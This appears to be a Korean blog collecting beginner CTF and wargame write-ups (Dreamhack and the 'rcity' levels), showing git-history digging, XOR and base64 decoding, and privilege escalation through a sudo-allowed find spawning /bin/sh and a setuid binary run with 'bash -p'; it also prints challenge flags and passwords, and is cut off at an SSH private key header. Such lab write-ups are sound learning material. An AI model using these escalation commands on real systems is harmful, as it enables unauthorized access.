오랜만에 게시글 포스팅합니다.
마지막 블로그 글 이후에 모의해킹 강의도 듣고 이것저것 공부하는데 벌써 몇달이 흘러버렸네요,, 다시 제가 공부하는 것들 해킹 관련된 문제 Write-Up 등등 다양하게 다시 포스팅 할 예정입니다. 다시 한번 잘 부탁 드리겠습니다.

Carve-Party

할로윈 파티를 기념하기 위해 호박을 준비 했다고 한다. 호박을 10000번 클릭하면 플래그를 획득할 수 있다.

문제를 다운받고 접속하면 아주 귀여운 호박이 우릴 맞이해준다ㅋㅋㅋ

 

 

이 호박은 누를때 마다 10000에서 -1 씩 카운트가 줄어든다.
페이지 소스에서 자바스크립트 코드를 확인한 결과 길고 복잡한 코드들이 나오는데 그중에서 중점적으로 봐야할 코드를 아래에 적어놓았다.

$(function() {
  $('#jack-target').click(function () {
    counter += 1;
    if (counter <= 10000 && counter % 100 == 0) {
      for (var i = 0; i < pumpkin.length; i++) {
        pumpkin[i] ^= pie;
        pie = ((pie ^ 0xff) + (i * 10)) & 0xff;
      }
    }
    make();
  });

이 코드를 중점적으로 봐야하는 이유 바로 $('#jack-target').click() 함수를 for 문을 이용해서 10000번의 클릭을 할것이기 때문이다.


생각해보면 아주아주 간단한 문제이다. 사실 문제를 보자마자 for 문을 사용해서 10000번 클릭을 하면 되려나 하는 생각이 들었다. 반복하면 대표적인것이 for 문이라서 그런가보다.

 

 

그래서 간단한 for 문을 작성해보았다. 아래는 내가 작성한 코드이다

for(i = 0; i <= 10000; i++){
    $('#jack-target').click()
}

그렇다. 아주 간단하다 이 코드를 검사(F12) -> console에 붙여넣기 하면 우리에게 플래그 값을 줄것이다.

 

 

 

flag 획득 완료!

'Dreamhack' 카테고리의 다른 글

[Dreamhack] xss-1 Write-Up  (0) 2024.03.18
[Dreamhack] session-basic Write-Up  (0) 2024.03.16
[Dreamhack] cookie Write-Up  (1) 2024.03.16
[Dreamhack] phpreq Write-Up  (2) 2024.03.15
[Dreamhack] ex-req-ex Write-Up  (2) 2024.03.15

 

 

풀이

 

 

rcity18@9947d876f6e5:~$ ls -l
total 4
-rw-r--r-- 1 root root 918 Mar  6 08:04 rcity19
rcity18@9947d876f6e5:~$ head rcity19 
Flag components: 
adding one by one
adding one by one
adding one by one
adding one by one
adding one by one
adding one by one
adding one by one
adding one by one
adding one by one

 

뭔가 엄청나게 많은 것같다

 

rcity18@9947d876f6e5:~$ git log
commit 7599ad53e055ece5b61ef8b81f149940187bd35f (HEAD -> master)
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character . by User

commit b6d2e1be0743693fa9ba1c18a229bb700582b4e6
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character . by User

commit e2f65eb849534807b5803fe2a28aaa845461e497
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character . by User

commit 7deb44d949d93313729fbb2645e91e45a3037207
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character E by User

commit b3cf549616d3adf1c5e9d9b152f8afeaa11c4daf
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character M by User

commit b18a70b04a328b2e7cef33e5394f002176a5dc9c
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character O by User

commit b351f30377736da3f56f4af9b600a47ca9551116
Author: rcity18 <rcity18@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add flag character C by User

 

페이지가 연결될 만큼 길다

 

rcity18@9947d876f6e5:~$ git log | grep -iw "add"
    Add flag character . by User
    Add flag character . by User
    Add flag character . by User
    Add flag character E by User
    Add flag character M by User
    Add flag character O by User
    Add flag character C by User
    Add flag character L by User
    Add flag character E by User
    Add flag character W by User
    Add flag character } by User
    Add flag character 9 by User
    Add flag character i by User
    Add flag character 8 by User
    Add flag character h by User
    Add flag character 7 by User
    Add flag character g by User
    Add flag character 6 by User
    Add flag character f by User
    Add flag character 5 by User
    Add flag character e by User
    Add flag character 4 by User
    Add flag character d by User
    Add flag character 3 by User
    Add flag character c by User
    Add flag character 2 by User
    Add flag character b by User
    Add flag character 1 by User
    Add flag character a by User
    Add flag character { by User
    Add flag character 9 by User
    Add flag character 1 by User
    Add flag character y by User
    Add flag character t by User
    Add flag character i by User
    Add flag character c by User
    Add flag character r by User
    Add flag character . by User
    Add flag character . by User
    Add flag character . by User
    Add flag character Y by User
    Add flag character T by User
    Add flag character I by User
    Add flag character C by User
    Add flag character N by User
    Add flag character O by User
    Add flag character C by User
    Add flag character C by User
    Add flag character A by User
    Add flag character R by User

 

 

뭔가 문자가 보인다!!! 더 잘보이게 하기 위해서 추가적으로 명령어를 찾아서 많은 시행 착오를 겪었다

 

rcity18@9947d876f6e5:~$ git log | grep -iw "add" | awk '{print $4}' | paste -s -d ''
...EMOCLEW}9i8h7g6f5e4d3c2b1a{91yticr...YTICNOCCAR

rcity18@9947d876f6e5:~$ git log | grep -iw "add" | awk '{print $4}' | paste -s -d '' | rev
RACCONCITY...rcity19{a1b2c3d4e5f6g7h8i9}WELCOME...

 

grep

awk

paste

rev

등등 다양한 명령어를 활용하여 Add flag ~~ 이렇게 되어있는 문자를 단 한줄로 flag가 나올수 있게 출력 성공!!

 

 

grep

-i : 대소문자 구문 해제

-w : 해당 문자열 줄 출력

 

awk '{print $4}'

awk는 파일에서 레코드를 선택하고, 선택된 레코드에 포함된 레코드 값을 핸들링하거나 데이터화 하는 것

특정 필드, 이번에는 4번째 열을 출력해야하기 때문에 인자값 $4를 주면 된다

 

paste

처음에 tr 명령어를 사용하려 했는데 공백 제거가 안되길래 구글링해서 paste 라는 명령어로 진행

-s : 여러줄을 하나의 줄로 결합해라

-d : 각 줄을 결합할 때 사용할 구분자를 지정 이번 경우 ''를 사용해서 아무런 구분자 없이 줄을 결합하라는 의미

 

rev

정렬한 문자를 reverse 거꾸로 하기 위해서 사용

리눅스 명령어를 잘 활용하자

 

'rcity' 카테고리의 다른 글

rcity17 Write-Up  (0) 2024.04.02
rcity16 Write-Up  (0) 2024.04.02
rcity15 Write-Up  (0) 2024.04.02
rcity14 Write-Up  (0) 2024.04.01
rcity13 Write-Up  (0) 2024.04.01

 

풀이

rcity17@9947d876f6e5:~$ ls
rcity18
rcity17@9947d876f6e5:~$ cat rcity18 
Initial commit
Add feature A
Add feature B

 

별 다른 내용 없다

 

rcity17@9947d876f6e5:~$ git log
commit ace1b3e50dc2d3e51d56174ae9df97751b28317a (HEAD -> master)
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add feature B by Alice

commit 6c18974e94e36f197b21d1229eaab6c6da6b6d42
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Remove the rcity18 flag by Bob

commit 2ad972449af03e66774b60cdfd3c5fbcc87b3c84
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add and then remove the rcity18 flag

commit 69f15b08cc536a5d66127eb87432e2d79be1c23e
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add feature A by Alice

commit 6b5375844fcc5f2eb005007f942c92f25194ce28
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Initial commit by Alice
rcity17@9947d876f6e5:~$

 

rcity18 flag가 추가되고 삭제되었다는 commit hash log가 남아있다

 

rcity17@9947d876f6e5:~$ git checkout 2ad972449af03e66774b60cdfd3c5fbcc87b3c84
fatal: Unable to create '/home/rcity17/.git/index.lock': Permission denied

 

하지만 커밋된 hash 값을 넣어 checkout 하려고했지만 Permission denied가 떳다 하지만 다른 한가지 확인 할 수 있는 방법이 있다

 

 

바로 git show 를 이용하는 것이다

rcity17@9947d876f6e5:~$ git show 2ad972449af03e66774b60cdfd3c5fbcc87b3c84
commit 2ad972449af03e66774b60cdfd3c5fbcc87b3c84
Author: rcity17 <rcity17@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add and then remove the rcity18 flag

diff --git a/rcity18 b/rcity18
index 2272f81..1ac9022 100644
--- a/rcity18
+++ b/rcity18
@@ -1,2 +1,3 @@
 Initial commit
 Add feature A
+rcity18 flag p2q7d3i2mS6w5c0r6G1

 

flag 값 획득!!

'rcity' 카테고리의 다른 글

rcity18 Write-Up  (0) 2024.04.02
rcity16 Write-Up  (0) 2024.04.02
rcity15 Write-Up  (0) 2024.04.02
rcity14 Write-Up  (0) 2024.04.01
rcity13 Write-Up  (0) 2024.04.01

 

 

풀이

 

rcity16@9947d876f6e5:~$ ls -al
total 36
drwxr-xr-x 1 root    root    4096 Mar  6 08:04 .
drwxr-xr-x 1 root    root    4096 Mar  6 08:03 ..
-rw-r--r-- 1 root    root     220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root    root    3771 Jan  6  2022 .bashrc
dr-xrw---- 8 rcity16 root    4096 Mar  6 08:04 .git
-rw-rw-r-- 1 rcity16 rcity16   34 Mar  6 08:04 .gitconfig
-rw-r--r-- 1 root    root     807 Jan  6  2022 .profile
-rw-r--r-- 1 root    root      64 Mar  6 08:04 rcity17
rcity16@9947d876f6e5:~$ git log
commit 0283350763931415bab762ab741a69a4a316ce80 (HEAD -> master)
Author: rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <rcity16@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add feature B by Groot

commit a3f0055555748f1e10b572b1083a97303c3b5d79
Author: rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <rcity16@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Fix bug in feature A by Choi

commit f5c6c002a913b569bf8477c577faedfe89f4811a
Author: rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <rcity16@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add feature A by Groot

commit 7367edfcd67359ff51106abe16e31adf49fcecd7
Author: rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <rcity16@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Initial commit by Groot

 

이미 flag 가 나와있다 git을 이용하여 보는 것이 log, show 등등 변경된 이력이나 branch를 변경해서 가지고 있는 파일을 확인할 수 있다

 

rcity16@9947d876f6e5:~$ git show
commit 0283350763931415bab762ab741a69a4a316ce80 (HEAD -> master)
Author: rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <rcity16@saveme.com>
Date:   Wed Mar 6 08:04:14 2024 +0000

    Add feature B by Groot

diff --git a/rcity17 b/rcity17
index 5cb95ea..eade910 100644
--- a/rcity17
+++ b/rcity17
@@ -1,3 +1,4 @@
 Initial commit
 Add feature A
 Fix bug in feature A
+Add feature B

 

 

'rcity' 카테고리의 다른 글

rcity18 Write-Up  (0) 2024.04.02
rcity17 Write-Up  (0) 2024.04.02
rcity15 Write-Up  (0) 2024.04.02
rcity14 Write-Up  (0) 2024.04.01
rcity13 Write-Up  (0) 2024.04.01

 

 

풀이

rcity15@9947d876f6e5:~$ ls
rcity14-flag.txt  rcity15-data.bin
rcity15@9947d876f6e5:~$ file rcity15-data.bin 
rcity15-data.bin: data
rcity15@9947d876f6e5:~$ xxd rcity15-data.bin 
00000000: 273b 3673 353f 3234 733a 2073 2965 0260  ';6s5?24s: s)e.`
00000010: 3e6b 0b67 2062 1466 3b6a 0164 3763 1f0a  >k.g b.f;j.d7c..
00000020: 0a6b 6579 2069 7320 3533 0a              .key is 53.

 

rcity15-data.bin 이라는 바이너리 파일이 있는데 파일 형식은 data로 되어있다xxd 명령어를 통해서 파일이나 표준 입력에서 16진수 덤프를 생성하거나 16진수 덤프를 파일에 기반으로 원래 바이너리 형식으로 되돌린다

알수없는 문자열과 key is 53 이다 라는 것이 출력되었다 문제에서 키를 알려주는 일부분인 것같다

 

일반적인 53이라는 문자열 일 수도 있지만 hex로 봤을때 0x53일 수도 있다 그래서 복호화를 해야한다

이부분은 좀 어려워서 강의를 듣고 진행을 하였다.

rcity15@9947d876f6e5:/tmp/jeff$ ls
rcity15@9947d876f6e5:/tmp/jeff$ cp /home/rcity15/rcity15-data.bin .
rcity15@9947d876f6e5:/tmp/jeff$ ls
rcity15-data.bin
rcity15@9947d876f6e5:/tmp/jeff$ vim hex.py
rcity15@9947d876f6e5:/tmp/jeff$ ls
hex.py  rcity15-data.bin
rcity15@9947d876f6e5:/tmp/jeff$ python3 hex.py
the flag is z6Q3m8X4s1G5h9R7d0LYY86*s: sf`Y
rcity15@9947d876f6e5:/tmp/jeff$ echo "z6Q3m8X4s1G5h9R7d0LYY86*s" | cut -c 19
L
rcity15@9947d876f6e5:/tmp/jeff$ echo "z6Q3m8X4s1G5h9R7d0LYY86*s: sf`Y" | cut -c -19
> ^C
rcity15@9947d876f6e5:/tmp/jeff$ echo 'z6Q3m8X4s1G5h9R7d0LYY86*s: sf`Y' | cut -c -19
z6Q3m8X4s1G5h9R7d0L
rcity15@9947d876f6e5:/tmp/jeff$
xorkey = 0x53

# ricty15-data.bin 파일을 바이트 형태로 가져온 다음에 그 모든 형태를 encrypted_data 변수에 저장
with open('rcity15-data.bin', 'rb') as f: 
    encrypted_data = f.read()
    
    
decrypted = ""
# encrypted_data라는 변수를 돌면서 한 바이트당 복호화한다음에 decrypted라는 변수에 넣고 출력
for b in encrypted_data:
    decrypted += chr(b ^ xorkey)
    
print(decrypted)

 

 

 

 

 

 

 

 

'rcity' 카테고리의 다른 글

rcity17 Write-Up  (0) 2024.04.02
rcity16 Write-Up  (0) 2024.04.02
rcity14 Write-Up  (0) 2024.04.01
rcity13 Write-Up  (0) 2024.04.01
rcity12 Wirte-Up  (0) 2024.04.01

 

 

풀이

 

rcity14@35e08a7255bf:~$ ls
rcity13-flag.txt
rcity14@35e08a7255bf:~$ pwd
/home/rcity14
rcity14@35e08a7255bf:~$ cd /home/rcity15
rcity14@35e08a7255bf:/home/rcity15$ ls
rcity14-flag.txt  rcity15-data.bin
rcity14@35e08a7255bf:/home/rcity15$ cat rcity14-flag.txt 
cat: rcity14-flag.txt: Permission denied

 

rcity15의 홈 디렉토리에 들어가서 확인하려고 하니 Permission denied 가 떳다

 

간단히 sudo -l 을 이용하여 문제를 풀 수 있을 것 같다 현재 계정의 sudo 권한을 확인 하는 것이다.

 

rcity14@35e08a7255bf:/home/rcity15$ sudo -l
Matching Defaults entries for rcity14 on 35e08a7255bf:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User rcity14 may run the following commands on 35e08a7255bf:
    (rcity15) NOPASSWD: /usr/bin/find

 

nopasswd: /usr/bin/find로 확인됬다!

 

방법 1)

 

rcity14@35e08a7255bf:/home/rcity15$ sudo -u rcity15 /usr/bin/find ./ -name "rcity14-flag.txt" -exec cat {} \;
u9N4r6D2fJ3q7C8w0H5rcity14@35e08a7255bf:/home/rcity15$

 

이렇게 간단하게 flag를 획득 할 수 있다

sudo -u rcity15 /usr/bin/find -name "rcity14-flag.txt" -exec cat {} \;

이 명령어를 해석하자면 

sudo -u rcity15 : rcity15 사용자의 권한으로 명령어를 실행한다

sudo -l 에서 패스워드를 요구하지 않는 명령어는 find 로 확인이 되었고  /usr/bin/find를 이용해 find 명령어를 작성하는 것과 같이 -name "rcity14-flag.txt" 라는 파일이름을 찾아

-exec cat {} \; 찾은 파일을 읽어서 화면에 출력해라. {}는find 명령어로 찾은 파일의 경로를 나타내고 \; 는 exec 실행하는 옵션의 끝을 나타냄

 

정리하자면 rcity15 사용자 권한으로 rcity14-flag.txt 라는 파일을 찾아 파일의 내용을 화면에 출력해라! 하는 명령어 이다

 

 

방법 2)

 

 

 

gtfobins 사이트에서 find 명령어 sudo로 들어가서 sudo find . -exec /bin/sh \; -quit 를 복사한 후에 사용한다

 

rcity14@35e08a7255bf:~$ ls
rcity13-flag.txt
rcity14@35e08a7255bf:~$ cd /home/rcity15
rcity14@35e08a7255bf:/home/rcity15$ ls
rcity14-flag.txt  rcity15-data.bin
rcity14@35e08a7255bf:/home/rcity15$ sudo -u rcity15 /usr/bin/find . -exec /bin/sh \; -quit
$ ls
rcity14-flag.txt  rcity15-data.bin
$ id    
uid=1015(rcity15) gid=1015(rcity15) groups=1015(rcity15)
$ cat rcity14-flag.txt
u9N4r6D2fJ3q7C8w0H5$

 

이렇게 rcity15 유저에 sh로 접속해서 권한을 직접 얻은 뒤에 flag 획득도 가능하다

'rcity' 카테고리의 다른 글

rcity16 Write-Up  (0) 2024.04.02
rcity15 Write-Up  (0) 2024.04.02
rcity13 Write-Up  (0) 2024.04.01
rcity12 Wirte-Up  (0) 2024.04.01
rcity11 Write-Up  (0) 2024.04.01

 

 

 

풀이

 

rcity13@35e08a7255bf:~$ ls -al
total 48
drwxr-xr-x 1 root    root     4096 Mar  6 08:04 .
drwxr-xr-x 1 root    root     4096 Mar  6 08:03 ..
-rw-r--r-- 1 root    root      220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root    root     3817 Mar  6 08:04 .bashrc
-rw-r--r-- 1 root    root      807 Jan  6  2022 .profile
-r-sr-x--- 1 rcity14 rcity13 16448 Mar  6 08:04 rcity13-binary
rcity13@35e08a7255bf:~$ file rcity13-binary 
rcity13-binary: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=949bfe04fad71f1663a147270f432b92da661d0d, for GNU/Linux 3.2.0, not stripped

 

rcity13-binary를 분석해보니 setuid 설정이 되어있는 것을 확인 할 수 있다 

 

rcity13@35e08a7255bf:~$ ./rcity13-binary 
[*] Usage: ./rcity13-binary <password> <command>
rcity13@35e08a7255bf:~$ ./rcity13-binary f2L9x6R5gH3q8C4s7Z0 ls
[*] Incorrect password. Exiting...

 

그래서 실행을 시켜보니 <password> <command> 형식으로 사용을 해라. 라고 나와서 rcity13 비밀번호를 치니 비밀번호가 맞지 않는다고 한다 문제를 보니 필요한 비밀번호는 해당 유저의 "환경"을 잘 살펴보라고 나온다 그렇다면 환경 변수 인가??

 

rcity13@35e08a7255bf:~$ export
declare -x HOME="/home/rcity13"
declare -x LANG="C.UTF-8"
declare -x LESSCLOSE="/usr/bin/lesspipe %s %s"
declare -x LESSOPEN="| /usr/bin/lesspipe %s"
declare -x LOGNAME="rcity13"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MOTD_SHOWN="pam"
declare -x OLDPWD
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
declare -x PWD="/home/rcity13"
declare -x README="research-setuid-its-important"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="203.229.62.101 61001 22"
declare -x SSH_CONNECTION="203.229.62.101 61001 172.17.0.2 22"
declare -x SSH_TTY="/dev/pts/2"
declare -x TERM="xterm-256color"
declare -x USER="rcity13"

 

뭔가 요상적은게 하나 있다면.. README..? 저기에 적혀있는 걸로 패스워드를 한번 입력해봐야겠다

 

rcity13@35e08a7255bf:~$ echo $README
research-setuid-its-important
rcity13@35e08a7255bf:~$ ./rcity13-binary research-setuid-its-important "/bin/bash"
bash-5.1$ ls
rcity13-binary
bash-5.1$ ls -al
total 48
drwxr-xr-x 1 root    root     4096 Mar  6 08:04 .
drwxr-xr-x 1 root    root     4096 Mar  6 08:03 ..
-rw-r--r-- 1 root    root      220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root    root     3817 Mar  6 08:04 .bashrc
-rw-r--r-- 1 root    root      807 Jan  6  2022 .profile
-r-sr-x--- 1 rcity14 rcity13 16448 Mar  6 08:04 rcity13-binary
bash-5.1$ id
uid=1013(rcity13) gid=1013(rcity13) groups=1013(rcity13)
bash-5.1$

 

 

바이너리가 잘 실행되긴햇는데 뭔가 아쉽다. setuid가 설정되어있으면 euid가 있어야하는 걸로 아는데 없기 때문이다

 

권한 상승을 하기 위해서  -p 옵션을 사용

-p 옵션 privileges mode를 의미하며, 이 옵션은 bash를 root 권한으로 실행하여 특정 작업을 수행 할 때 사용된다

보통 보안과 관련된 작업를 수행할 때 사용되고, 루트권한이 필요할 때 사용 될 수 있다고 한다.

 

rcity13@35e08a7255bf:~$ ./rcity13-binary research-setuid-its-important "/bin/bash -p"
bash-5.1$ pwd
/home/rcity13
bash-5.1$ cd ..
bash-5.1$ cd rcity14
bash-5.1$ pwd
/home/rcity14
bash-5.1$ ls
rcity13-flag.txt
bash-5.1$ cat rcity13-flag.txt 
p4Q7d3J2mS6w5H0r8G1bash-5.1$ id
uid=1013(rcity13) gid=1013(rcity13) euid=1014(rcity14) groups=1013(rcity13)
bash-5.1$

 

flag 획득

 

 

 

 

 

'rcity' 카테고리의 다른 글

rcity15 Write-Up  (0) 2024.04.02
rcity14 Write-Up  (0) 2024.04.01
rcity12 Wirte-Up  (0) 2024.04.01
rcity11 Write-Up  (0) 2024.04.01
rcity10 Write-Up  (0) 2024.03.31

 

 

풀이

rcity12@35e08a7255bf:~$ head rcity12-flag1.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed blandit elit quis bibendum consectetur. Sed elementum, libero ut rhoncus auctor, metus purus vestibulum arcu, eu eleifend nunc augue et est. Integer ultricies vel ipsum eu varius. Nunc blandit lacus ac tellus fringilla, a accumsan mi pellentesque. Etiam bibendum varius justo. Quisque a mauris ex. Integer at euismod urna. Vivamus ut interdum libero.

Fusce finibus felis id neque ullamcorper, ut vulputate urna pellentesque. Mauris sit amet varius nisl, eu semper justo. Nulla facilisi. Suspendisse ornare mauris eget enim finibus, sit amet consectetur ipsum posuere. Ut eu aliquet neque. Curabitur eu magna sem. Quisque vel faucibus turpis. Donec vestibulum odio ac dapibus efficitur.

Suspendisse a est vitae nisi rhoncus viverra. Quisque varius, dolor id ultrices gravida, sem felis fermentum mi, ut posuere ex risus vitae nulla. Duis ultricies hendrerit diam, vel pharetra odio venenatis vel. Fusce volutpat erat sed odio consectetur dictum. In vel nulla eros. Sed dapibus id arcu eget mollis. Vestibulum tempus, orci at facilisis consequat, metus risus euismod felis, ut consectetur dui erat non augue.

Vivamus non sapien et purus volutpat congue. Nulla pharetra felis eu orci feugiat, at maximus eros ultrices. Donec vel neque eget nibh semper auctor eu et ex. Integer eget metus ut lectus interdum iaculis id a sapien. Proin pellentesque hendrerit turpis, ac tristique nisi euismod nec. In interdum ex ac turpis venenatis, eu aliquam ligula vestibulum.

Pellentesque sagittis ac lectus vel tincidunt. Duis at purus sed elit ultrices iaculis. Sed aliquam lacus eget ipsum mattis, at eleifend metus maximus. Nulla eget diam dolor. Nam bibendum, sapien non malesuada pellentesque, ipsum metus varius velit, a tristique dolor nisi et enim. Nullam eu magna vitae felis fringilla fermentum nec eu lacus.

rcity12@35e08a7255bf:~$ head rcity12-flag2.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed blandit elit quis bibendum consectetur. Sed elementum, libero ut rhoncus auctor, metus purus vestibulum arcu, eu eleifend nunc augue et est. Integer ultricies vel ipsum eu varius. Nunc blandit lacus ac tellus fringilla, a accumsan mi pellentesque. Etiam bibendum varius justo. Quisque a mauris ex. Integer at euismod urna. Vivamus ut interdum libero.

Fusce finibus felis id neque ullamcorper, ut vulputate urna pellentesque. Mauris sit amet varius nisl, eu semper justo. Nulla facilisi. Suspendisse ornare mauris eget enim finibus, sit amet consectetur ipsum posuere. Ut eu aliquet neque. Curabitur eu magna sem. Quisque vel faucibus turpis. Donec vestibulum odio ac dapibus efficitur.

Suspendisse a est vitae nisi rhoncus viverra. Quisque varius, dolor id ultrices gravida, sem felis fermentum mi, ut posuere ex risus vitae nulla. Duis ultricies hendrerit diam, vel pharetra odio venenatis vel. Fusce volutpat erat sed odio consectetur dictum. In vel nulla eros. Sed dapibus id arcu eget mollis. Vestibulum tempus, orci at facilisis consequat, metus risus euismod felis, ut consectetur dui erat non augue.

Vivamus non sapien et purus volutpat congue. Nulla pharetra felis eu orci feugiat, at maximus eros ultrices. Donec vel neque eget nibh semper auctor eu et ex. Integer eget metus ut lectus interdum iaculis id a sapien. Proin pellentesque hendrerit turpis, ac tristique nisi euismod nec. In interdum ex ac turpis venenatis, eu aliquam ligula vestibulum.

Pellentesque sagittis ac lectus vel tincidunt. Duis at purus sed elit ultrices iaculis. Sed aliquam lacus eget ipsum mattis, at eleifend metus maximus. Nulla eget diam dolor. Nam bibendum, sapien non malesuada pellentesque, ipsum metus varius velit, a tristique dolor nisi et enim. Nullam eu magna vitae felis fringilla fermentum nec eu lacus.

 

두 파일의 head 부분을 보니 얼추 비슷한 형식을 하고 있는데 두 파일을 diff 명령어를 이용하여 비교해서 한번 확인해봐야겠다

 

rcity12@35e08a7255bf:~$ diff rcity12-flag1.txt rcity12-flag2.txt 
141c141
< Quisque a vestibulum tellus. Vestibulum quis metus in tortor semper vestibulum vel at sem. Curabitur consect
---
> Quisque a vestibulum tellus. Vestibulum ZjJMOXg2UjVnSDNxOEM0czdaMAo= quis metus in tortor semper vestibulum vel at sem. Curabitur consect

┌──(root㉿kali)-[~/raccoon/rcity]
└─# ssh rcity13@ctf.redraccoon.kr -p 31338
rcity13@ctf.redraccoon.kr's password: 
Permission denied, please try again.

 

flag가 딱하고 떨어졌다 11보다 완전 더 쉬운 wargame 문제!!!

근데 이렇게 쉬울리가 ㅋㅋ 그리고 뭔가 이전 비밀번호와 다른 느낌을 스멀스멀 풍긴다

 

rcity12@35e08a7255bf:~$ echo "ZjJMOXg2UjVnSDNxOEM0czdaMAo=" | base64 --decode
f2L9x6R5gH3q8C4s7Z0

 

base64로 인코딩된 코드였다 그래서 base64 --decode로 디코딩 시켜 flag값 획득!!

'rcity' 카테고리의 다른 글

rcity14 Write-Up  (0) 2024.04.01
rcity13 Write-Up  (0) 2024.04.01
rcity11 Write-Up  (0) 2024.04.01
rcity10 Write-Up  (0) 2024.03.31
rcity9 Write-Up  (1) 2024.03.31

 

 

풀이

 

rcity11@35e08a7255bf:~$ ls -l
total 8
-r--r----- 1 root rcity11 1876 Mar  6 08:04 id_rsa.rcity12
-rw-r--r-- 1 root root    1556 Mar  6 08:04 wordlist.txt

우선 ssh 접속한 이후에 파일을 확인한다

문제에서 wordlist.txt 를 다운 받을 수 있지만 id_rsa.rcity12를 이동 시켜야하기 때문에 rcity11이 아닌 호스트에서 진행하기 위하여 scp 를 이용하여 파일을 가져와 준다

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# scp -P 31338 rcity11@ctf.redraccoon.kr:/home/rcity11/* .
rcity11@ctf.redraccoon.kr's password: 
id_rsa.rcity12                                                        100% 1876     4.5KB/s   00:00    
wordlist.txt                                                          100% 1556     3.7KB/s   00:00    
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# ls
id_rsa.rcity12  wordlist.txt

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# file id_rsa.rcity12    
id_rsa.rcity12: OpenSSH private key
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# cat id_rsa.rcity12 
-----BEGIN OPENSSH PRIVATE KEY-----
